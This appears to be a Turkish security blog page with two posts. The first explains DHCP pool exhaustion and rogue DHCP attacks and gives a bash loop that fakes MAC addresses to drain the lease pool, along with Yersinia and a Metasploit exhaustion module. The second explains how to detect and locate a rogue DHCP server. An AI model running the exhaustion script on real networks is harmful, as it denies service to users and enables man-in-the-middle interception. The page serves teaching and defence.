AG Test: rogue dhcp

<div style="text-align: justify;"><b>DHCP (Dynamic Host Configuration Protocol) </b>ağ içerisinde bulunan cihaz veya bilgisayarlara ön tanımlı ağ geçidi, DNS sunucu gibi ip ağ yapılandırma bilgilerini otomatik olarak sağlayan bir protokoldür. Ağda DHCP sunucu üzerinden hizmet alan bilgisayarların MAC adres bilgilerini değiştirerek sürekli olarak farklı ip adresi alınmasıyla DHCP sunucu IP havuzu tüketilerek, ağa dahil olan yeni cihazların veya IP adres bilgilerini yenilemek isteyen cihazların bu bilgiyi doğru şekilde temin etmesi engellenmektedir. Bu şekilde ağ içerisinde hizmet verememe gibi durumlar meydana gelebileceği gibi korsan DHCP sunucu yardımıyla istemcilerle hedef arasına girilebilir. Bu tip bir saldırının benzetimi için aşağıdaki yöntemler takip edilebilir:</div><a name="more"></a><div style="text-align: justify;"></div><div class="separator" style="clear: both;"></div><h3>Yersinia uygulaması ile</h3><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSdLfVnbcbTlXsAVEOoqp3Lr7DG0X9OKHChIE3Cp5f7LaeHKn3o4rUaNoLFpeciE4SVCuYLnMYJdVUz00p2jzykeCUEiNSNFLOkOXytsI1KyTiGI7IRsDf69UiM2Q7mpk2IQf4U1w0YQXQ/s1600/Dhcp-yersinia.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSdLfVnbcbTlXsAVEOoqp3Lr7DG0X9OKHChIE3Cp5f7LaeHKn3o4rUaNoLFpeciE4SVCuYLnMYJdVUz00p2jzykeCUEiNSNFLOkOXytsI1KyTiGI7IRsDf69UiM2Q7mpk2IQf4U1w0YQXQ/s640/Dhcp-yersinia.jpg" width="640" /></a><br /><div style="text-align: justify;"></div><span style="color: white;">_</span><br /><h3>Macchanger ft. Bash</h3><h4>#!/bin/bash<br />  while true; do<br />     killall dhclient<br />     rm -f /var/run/dhclient.pid<br />     ifconfig eth0 down<br />     macchanger -a eth0 2>&1 | grep Faked<br />     ifconfig eth0 up<br />     dhclient eth0 2>&1 | grep DHCPACK<br />  done</h4><h3>Metasploit modülü ile </h3><h4>msf > use auxiliary/digininja/dhcp_exhaustion/exhaust<br />msf auxiliary(exhaust) > show options<br />Module options:<br />  Name       Current Setting  Required  Description<br />  ----       ---------------  --------  -----------<br />  FILTER                      no        The filter string for capturing traffic<br />  INTERFACE                   no        The name of the interface<br />  SNAPLEN    65535            yes       The number of bytes to capture<br />  TIMEOUT    10               yes       Timeout waiting for server response<br />msf auxiliary(exhaust) > run</h4>

DHCP Sunucu IP Havuzunun Tüketilmesi

DHCP (Dynamic Host Configuration Protocol) ağ içerisinde bulunan cihaz veya bilgisayarlara ön tanımlı ağ geçidi, DNS sunucu gibi ip ağ yapıl...

<div style="text-align: justify;">Ağ üzerindeki istemcilerin aslında istenen IP adreslerini almadıkları ve ortamda bir sorun olduğu anlaşıldığında  bulunması muhtemel sahte DHCP sunucularının tespiti için aşağıdaki yöntem izlenebilir:</div><a name="more"></a><div><h2>IP Adresi Tespiti</h2>Windows istemciler için </div><h4>ipconfig /all </h4><div style="text-align: justify;">Linux&Mac istemciler için<br /><h4># grep -i dhcp /var/log/messages*</h4>komutları ile DHCP sunucusunun IP adresi bulunabilir.<br /><a href="http://www.snapfiles.com/get/roguedhcp.html" target="_blank">Bağlantıdan</a> temin edilebilecek <b>Rogue Detection</b> uygulaması ile mevcut DHCP sunucular görülebilir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ4rjtg3ds7Jsvns4rvKv0IM7mBmnSLzRqsJR1sT_z8-t2yk4z9kVCkusu8gb_8TVCcXDlJt2jt6OHZrVZcK8m_zQ6kVW_6t7_5wfpadLWIQqVejXlcK67ag3VTLcYhTV8WZiMLEAjTdiE/s1600/Ekran+Al%C4%B1nt%C4%B1s%C4%B1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="297" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ4rjtg3ds7Jsvns4rvKv0IM7mBmnSLzRqsJR1sT_z8-t2yk4z9kVCkusu8gb_8TVCcXDlJt2jt6OHZrVZcK8m_zQ6kVW_6t7_5wfpadLWIQqVejXlcK67ag3VTLcYhTV8WZiMLEAjTdiE/s320/Ekran+Al%C4%B1nt%C4%B1s%C4%B1.PNG" width="320" /></a></div><br /><br />Ya da <a href="http://www.dynawell.com/download/reskit/microsoft/win2000/dhcploc.zip" target="_blank">bağlantıdan</a> temin edilebilecek <b>DHCPloc </b>uygulaması ile aynı sonuca ulaşılabilir. Kullanımı:</div><h4>DHCPloc.exe <istemci IP></h4><div>Bir diğer yolda Wireshark ile ortamdaki DHCP mesajlarının dinlenmesidir.</div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: right;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXIhaCzufw0ReMlDHXOJOT62dOBGiklKgU8KgSt3j4GW6mNhO-1uWvmnLDF6ZHMGlh0-6Ov9ujMpTW9CBCmBOQjMLHo-ZfN6zPGj0kav4fceHsHHDxWQ24qrujct0Ew3ScrgQ8J4p_VnRI/s1600/1+DHCP+Discovery.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="452" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXIhaCzufw0ReMlDHXOJOT62dOBGiklKgU8KgSt3j4GW6mNhO-1uWvmnLDF6ZHMGlh0-6Ov9ujMpTW9CBCmBOQjMLHo-ZfN6zPGj0kav4fceHsHHDxWQ24qrujct0Ew3ScrgQ8J4p_VnRI/s640/1+DHCP+Discovery.png" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"></div><div style="text-align: justify;"><h4>"bootp.type == 2" </h4>filtresi ile sadece DHCP Offer mesajlarının dinlenmesi gerçekleştirilebilir.<br /><h2>MAC Adresi ve Fiziksel Yer Tespiti</h2>Bir sonraki adımda belirlenen IP adresine sahip makinenin MAC adresi bulunur:</div><h4># arp –a | find "IP addresi"</h4><div style="text-align: justify;">Bulunan MAC adresinin hangi üreticiye ait olduğunu belirlemek için <a href="http://standards.ieee.org/develop/regauth/oui/public.html" target="_blank">bağlantıdan</a> faydalanılabilir.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQ2TIDmB7ed4s3_krnviJszqq7AvsVUyv0kdbNb9xJYZPfD1ixPqUSi01sjK019U7NohkC0IWRtBfmLTQpZWObzLwZ5oTYiH6W-QIrkOCd19oRj4KIDJVZXLB7wK0gavTBvDxg0jWv7MWf/s1600/Ekran+Al%C4%B1nt%C4%B1s%C4%B1.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="136" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQ2TIDmB7ed4s3_krnviJszqq7AvsVUyv0kdbNb9xJYZPfD1ixPqUSi01sjK019U7NohkC0IWRtBfmLTQpZWObzLwZ5oTYiH6W-QIrkOCd19oRj4KIDJVZXLB7wK0gavTBvDxg0jWv7MWf/s640/Ekran+Al%C4%B1nt%C4%B1s%C4%B1.PNG" width="640" /></a></div><div><div style="text-align: justify;">Son adım olarak switch üzerinden bağlı olduğu portun tespiti veya fiziksel olarak tak/çıkar yöntemiyle zararlı cihazın yerinin belirlenmesi sağlanabilir.</div><h4>(config)#show mac-address-table address 000d.9822.e3f4<br />Non-static Address Table:<br />Destination Address  Address Type  VLAN  Destination Port<br />-------------------           ------------         ----       --------------------<br />000d.9822.e3f4          Dynamic          1           FastEthernet0/26<br /><br />(config)#int FastEthernet0/26<br />(config-if)#shut</h4></div>

Ağdaki Sahte DHCP Sunucusunun Tespiti

Ağ üzerindeki istemcilerin aslında istenen IP adreslerini almadıkları ve ortamda bir sorun olduğu anlaşıldığında bulunması muhtemel sahte D...